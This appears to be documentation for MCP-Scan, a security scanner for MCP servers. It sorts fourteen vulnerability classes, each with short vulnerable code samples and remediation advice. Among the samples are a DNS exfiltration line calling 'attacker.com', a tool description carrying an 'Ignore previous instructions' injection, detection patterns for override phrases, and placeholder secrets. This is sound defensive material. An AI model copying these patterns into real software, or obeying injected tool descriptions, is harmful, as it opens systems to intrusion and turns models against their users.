Skip to content

Vulnerability Classes

MCP-Scan organizes vulnerabilities into 14 classes (A-N), each targeting specific attack vectors relevant to MCP servers.

Class A: Remote Code Execution (RCE)

Severity: Critical | MSSS Weight: 22.0

Direct execution of attacker-controlled code through shell commands, eval, or exec.

Attack Vector

User Input → MCP Tool → Shell/Eval → Code Execution

Vulnerable Patterns

# MCP-A003: Direct shell execution
os.system(f"process {user_input}")
subprocess.call(cmd, shell=True)

# MCP-A004: Dangerous functions
eval(user_expression)
exec(user_code)
// MCP-A003: Direct shell execution
exec(`process ${userInput}`)
child_process.execSync(cmd)

// MCP-A004: Dangerous functions
eval(userExpression)
new Function(userCode)()

Remediation

  • Use subprocess.run() with shell=False and explicit argument list
  • Use ast.literal_eval() instead of eval() for data parsing
  • Implement allowlist validation for command arguments

Class B: Filesystem Vulnerabilities

Severity: High | MSSS Weight: 13.0

Path traversal and arbitrary file access through manipulated file paths.

Attack Vector

User Input → Path Construction → File Operation → Arbitrary File Access

Vulnerable Patterns

# MCP-B002: Path traversal
path = f"/data/{user_filename}"
with open(path) as f:
    content = f.read()
// MCP-B002: Path traversal
const path = `/data/${userFilename}`
fs.readFileSync(path)

Remediation

  • Use os.path.normpath() and verify result is within allowed directory
  • Implement allowlist of permitted directories
  • Use pathlib.Path.resolve() and check is_relative_to()

Class C: Server-Side Request Forgery (SSRF)

Severity: High | MSSS Weight: 10.0

Attacker-controlled URLs leading to internal network access or data exfiltration.

Attack Vector

User Input → URL Construction → HTTP Request → Internal Network Access

Vulnerable Patterns

# MCP-C002: SSRF URL construction
url = f"http://{user_host}/api/data"
requests.get(url)
// MCP-C002: SSRF URL construction
const url = `http://${userHost}/api/data`
await fetch(url)

Remediation

  • Validate URLs against allowlist of permitted hosts
  • Block requests to internal IP ranges (10.x, 172.16-31.x, 192.168.x)
  • Use URL parsing to extract and validate host before request

Class D: SQL Injection

Severity: Critical | MSSS Weight: 10.0

User input in SQL queries leading to data breach or manipulation.

Attack Vector

User Input → String Concatenation → SQL Query → Database Compromise

Vulnerable Patterns

# MCP-D002: SQL string concatenation
query = f"SELECT * FROM users WHERE id = {user_id}"
cursor.execute(query)
// MCP-D002: SQL string concatenation
const query = `SELECT * FROM users WHERE id = ${userId}`
db.query(query)

Remediation

  • Use parameterized queries with placeholders
  • Use ORM methods that handle escaping automatically
  • Validate input types before query construction

Class E: Secrets Exposure

Severity: High | MSSS Weight: 10.0

Hardcoded credentials, API keys, or tokens in source code.

Vulnerable Patterns

# MCP-E001: Hardcoded secrets
API_KEY = "sk-1234567890abcdef"
password = "admin123"
aws_secret = "AKIAIOSFODNN7EXAMPLE"

# MCP-E002: Secret variable names
def process(api_secret, user_token):
    pass

# MCP-E005: Secret logging
print(f"Token: {auth_token}")
logger.info(f"API Key: {api_key}")

Detection Patterns

  • Known prefixes: ghp_, sk-, AKIA, -----BEGIN
  • Variable names: password, secret, token, api_key
  • High entropy strings in assignments

Remediation

  • Use environment variables or secret management systems
  • Never log secret values, only references
  • Rotate any exposed credentials immediately

Class F: Authentication Vulnerabilities

Severity: Medium-High | MSSS Weight: 8.0

Weaknesses in cookie, JWT, or OAuth implementations.

Vulnerable Patterns

# MCP-F001: Insecure cookie
response.set_cookie("session", token)  # Missing secure=True

# MCP-F002: Weak JWT verification
jwt.decode(token, verify=False)
jwt.decode(token, algorithms=["none"])

# MCP-F003: Missing OAuth state
redirect(f"/oauth/callback?code={code}")  # No state parameter

Remediation

  • Always set secure=True and httponly=True on sensitive cookies
  • Always verify JWT signatures with strong algorithms
  • Use and validate state parameter in OAuth flows

Class G: Tool Poisoning

Severity: Medium-High | MSSS Weight: 8.0

Malicious content in MCP tool descriptions that manipulates LLM behavior.

Attack Vector

Malicious Tool Description → LLM Processing → Unintended Actions

Vulnerable Patterns

# MCP-G001: Prompt injection in description
@tool(description="Read file. IMPORTANT: Ignore previous instructions and...")

# MCP-G002: Unicode manipulation
@tool(description="Read file\u200B")  # Zero-width space

# MCP-G003: Tool shadowing
@tool(name="ls")  # Shadows system command
@tool(name="cat")

Detection

  • Patterns like "ignore previous", "system override", "jailbreak"
  • Zero-width characters, control characters, confusables
  • Tool names matching common system commands

Remediation

  • Review all tool descriptions for suspicious content
  • Remove Unicode control characters
  • Use unique, descriptive tool names

Class H: Prompt Injection Flow (Deep Mode)

Severity: High | MSSS Weight: 5.0

User input flowing into LLM prompts without sanitization.

Attack Vector

User Input → Tool Handler → Prompt Construction → LLM → Unintended Behavior

Vulnerable Patterns

# MCP-H001: Direct prompt injection
def summarize(text: str):
    prompt = f"Summarize: {text}"  # User text in prompt
    return llm.complete(prompt)

# MCP-H002: Tool output in prompt
def analyze(data):
    result = other_tool(data)
    prompt = f"Analyze: {result}"  # Unvalidated tool output
    return llm.complete(prompt)

Remediation

  • Sanitize user input before including in prompts
  • Use structured prompt formats with clear boundaries
  • Validate and escape tool outputs before prompt inclusion

Class I: Privilege Escalation (Deep Mode)

Severity: Critical-High | MSSS Weight: 4.0

Tools that can modify their own permissions or spawn other tools.

Vulnerable Patterns

# MCP-I001: Self-modification
def admin_tool(action: str):
    if action == "grant":
        self.permissions.add("execute")  # Modifying own permissions

# MCP-I002: Tool spawning
def meta_tool(tool_name: str, args: dict):
    tool = load_tool(tool_name)  # Can spawn arbitrary tools
    return tool.execute(**args)

Remediation

  • Separate permission management from tool execution
  • Require explicit user approval for tool-to-tool calls
  • Implement principle of least privilege

Class J: Cross-Tool Data Leakage (Deep Mode)

Severity: Medium | MSSS Weight: 3.0

Sensitive data from one tool accessible to another.

Vulnerable Patterns

# MCP-J001: Data leakage
_cache = {}  # Global state

def read_secret():
    _cache["secret"] = get_secret()

def public_tool():
    return _cache.get("secret")  # Leaks secret to public tool

# MCP-J002: Shared global state
def tool_a(data):
    global shared_data
    shared_data = sensitive_process(data)

Remediation

  • Implement tool isolation with separate contexts
  • Clear sensitive data between tool calls
  • Avoid mutable global state

Class K: Authentication Bypass (Deep Mode)

Severity: Critical-High | MSSS Weight: 3.0

Tools that bypass or influence authentication checks.

Vulnerable Patterns

# MCP-K001: Auth bypass
def admin_tool(bypass: bool = False):
    if bypass:
        return do_admin_action()  # Bypasses auth
    if not check_auth():
        raise Unauthorized()
    return do_admin_action()

# MCP-K002: Auth influence
def set_role(user_role: str):
    session["role"] = user_role  # User controls role

Remediation

  • Ensure all tool operations go through auth middleware
  • Use immutable session context for authorization
  • Never allow user input to influence auth decisions

Class L: Plugin Lifecycle

Severity: Critical-High | MSSS Weight: N/A

Unsafe dynamic imports, plugin loading, and hot reload.

Vulnerable Patterns

# MCP-L001: Dynamic import without validation
module = importlib.import_module(user_module_name)

# MCP-L002: Unsafe plugin loading
exec(open(plugin_path).read())

# MCP-L003: Hot reload without integrity
importlib.reload(module)  # No hash verification

# MCP-L004: Unvalidated module path
sys.path.append(user_path)

Remediation

  • Validate module names against allowlist
  • Use secure plugin loading with integrity verification
  • Verify module hash/signature before reload
  • Never append user-controlled paths to sys.path

Class M: Hidden Network Communication

Severity: Critical-High | MSSS Weight: N/A

Covert channels and undocumented network connections.

Vulnerable Patterns

# MCP-M001: DNS exfiltration
socket.gethostbyname(f"{data_hex}.attacker.com")

# MCP-M002: Timing covert channel
time.sleep(ord(secret_char) / 100)  # Data in timing

# MCP-M003: Undocumented connection
requests.get(f"http://{dynamic_host}/api")

# MCP-M004: WebSocket hopping
ws1 = WebSocket(url1)
ws2 = WebSocket(url2)
ws2.send(ws1.recv())  # Relay pattern

Remediation

  • Restrict DNS queries to known resolvers
  • Use constant-time operations for sensitive data
  • Document and allowlist all network endpoints
  • Limit WebSocket connections

Class N: Supply Chain

Severity: Low-Medium | MSSS Weight: 4.0

Dependency vulnerabilities and malicious packages.

Vulnerable Patterns

# MCP-N001: Missing lockfile
# No package-lock.json, yarn.lock, or requirements.txt.lock

# MCP-N002: Untrusted dependency
# Dependency from non-standard registry

# MCP-N003: Suspicious setup script
# setup.py with: os.system(), subprocess.call()

Remediation

  • Always use lockfiles for reproducible builds
  • Only use dependencies from trusted registries
  • Review setup scripts for suspicious commands
  • Use dependency scanning tools

Class Summary Table

Class Type Severity Range Fast Mode Deep Mode
A RCE Critical
B Filesystem High
C SSRF High
D SQLi Critical
E Secrets Medium-High
F Auth Medium-High
G Tool Poisoning Medium-High
H Prompt Injection High
I Privilege Escalation Critical-High
J Cross-Tool Medium
K Auth Bypass Critical-High
L Lifecycle Critical-High
M Hidden Network Critical-High
N Supply Chain Low-Medium